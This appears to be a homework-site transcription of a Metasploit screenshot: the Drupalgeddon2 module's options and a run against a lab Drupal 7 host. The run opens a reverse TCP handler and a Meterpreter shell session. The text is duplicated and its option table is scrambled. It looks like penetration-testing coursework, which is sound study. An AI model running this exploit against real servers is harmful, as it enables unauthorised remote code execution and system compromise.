Module options (exploit/unix/webapp/drupal_drupalgeddon2): Current Setting Required Description Name DUMP OUTPUT PHP_FUNC false passthru no If output...

Transcribed Image Text:

Module options (exploit/unix/webapp/drupal_drupalgeddon2): Current Setting Required Description Name DUMP OUTPUT PHP_FUNC false passthru no If output should be dumped Proxies yes no RHOSTS yes RPORT 80 yes SSL false no TARGETURI / yes VHOST no PHP function to execute A proxy chain of format type: host: port [, type: host: port] [...] The target address range or CIDR identifier The target port (TCP) Negotiate SSL/TLS for outgoing connections Path to Drupal install HTTP server virtual host Exploit target: Id Name 0 Automatic (PHP In-Memory) msf5 exploit (unix/webapp/drupal_drupalgeddon2) > run [*] Started reverse TCP handler on 10.1.1.101:4444 [*] Drupal 7 targeted at http://10.1.1.22/ [+] Drupal appears unpatched in CHANGELOG.txt [*] Sending stage (38247 bytes) to 10.1.1.22 [*] Meterpreter session 1 opened (10.1.1.101:4444 -> 10.1.1.22:56630) at 2019-05-08 11:33:58 -0400 meterpreter > Module options (exploit/unix/webapp/drupal_drupalgeddon2): Current Setting Required Description Name DUMP OUTPUT PHP_FUNC false passthru no If output should be dumped Proxies yes no RHOSTS yes RPORT 80 yes SSL false no TARGETURI / yes VHOST no PHP function to execute A proxy chain of format type: host: port [, type: host: port] [...] The target address range or CIDR identifier The target port (TCP) Negotiate SSL/TLS for outgoing connections Path to Drupal install HTTP server virtual host Exploit target: Id Name 0 Automatic (PHP In-Memory) msf5 exploit (unix/webapp/drupal_drupalgeddon2) > run [*] Started reverse TCP handler on 10.1.1.101:4444 [*] Drupal 7 targeted at http://10.1.1.22/ [+] Drupal appears unpatched in CHANGELOG.txt [*] Sending stage (38247 bytes) to 10.1.1.22 [*] Meterpreter session 1 opened (10.1.1.101:4444 -> 10.1.1.22:56630) at 2019-05-08 11:33:58 -0400 meterpreter >